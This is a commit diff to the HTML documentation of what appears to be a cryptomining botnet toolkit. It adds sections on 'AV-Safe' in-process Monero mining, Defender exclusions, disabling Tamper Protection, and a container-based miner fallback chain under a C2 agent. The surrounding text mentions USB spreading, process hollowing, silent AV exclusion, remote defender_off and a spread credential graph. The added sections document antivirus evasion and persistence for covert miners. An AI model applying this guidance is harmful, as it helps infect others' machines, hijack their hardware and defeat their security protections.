Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -42,6 +42,8 @@
|
||||
<li><a href="#path-tracer">Path Tracer</a></li>
|
||||
<li><a href="#agent">Agent Reference</a></li>
|
||||
<li><a href="#mining">Mining</a></li>
|
||||
<li><a href="#av-safe">AV-Safe Mining</a></li>
|
||||
<li><a href="#container-mining">Container Mining</a></li>
|
||||
<li><a href="#platform-matrix">Platform Matrix</a></li>
|
||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||
<li><a href="#security-auth">Security</a></li>
|
||||
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</section>
|
||||
|
||||
<section id="av-safe">
|
||||
<h2>AV-Safe Mining — Default Strategy</h2>
|
||||
<p>
|
||||
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
|
||||
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
|
||||
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
|
||||
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
|
||||
</p>
|
||||
|
||||
<h3>Why turning Defender "off" often does nothing</h3>
|
||||
<ul>
|
||||
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
|
||||
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
|
||||
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
|
||||
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
|
||||
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
|
||||
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Windows operator checklist</h3>
|
||||
<ol>
|
||||
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
|
||||
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
|
||||
<li>Windows Security → Virus & threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
|
||||
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
|
||||
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
|
||||
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
|
||||
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Honest limits</h3>
|
||||
<p>
|
||||
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
|
||||
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
|
||||
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section id="container-mining">
|
||||
<h2>Container Mining — Optional Isolation</h2>
|
||||
<p>
|
||||
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
|
||||
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
|
||||
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
|
||||
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
|
||||
pure-Go RandomX (no external CPU miner binary).
|
||||
</p>
|
||||
|
||||
<h3>Honest AV expectations</h3>
|
||||
<ul>
|
||||
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
|
||||
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
|
||||
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Forge options</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
|
||||
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
|
||||
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
|
||||
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Operator setup</h3>
|
||||
<ol>
|
||||
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
|
||||
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
|
||||
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
|
||||
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
|
||||
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Architecture</h3>
|
||||
<pre>
|
||||
┌──────────────── Host (agent.exe) ────────────────┐
|
||||
│ WebSocket C2 · commands · stats · GPU supervisor │
|
||||
│ │ docker run │
|
||||
│ ▼ │
|
||||
│ ┌──────────── OCI container ────────────┐ │
|
||||
│ │ agent-worker · RandomX · Stratum/C2 │ │
|
||||
│ └───────────────────────────────────────┘ │
|
||||
└──────────────────────────────────────────────────┘
|
||||
</pre>
|
||||
<h3>Mining fallback chain</h3>
|
||||
<p>
|
||||
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
|
||||
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
|
||||
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
|
||||
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
|
||||
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
|
||||
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
|
||||
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
|
||||
</p>
|
||||
<p>
|
||||
When the container exits, the chain advances to in-process automatically.
|
||||
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
|
||||
container is healthy.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 7b. Platform Matrix -->
|
||||
<section id="platform-matrix">
|
||||
<h2>Platform Matrix</h2>
|
||||
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
|
||||
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
|
||||
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
|
||||
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
|
||||
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
|
||||
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
|
||||
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
|
||||
</tbody>
|
||||
|
||||
Reference in New Issue
Block a user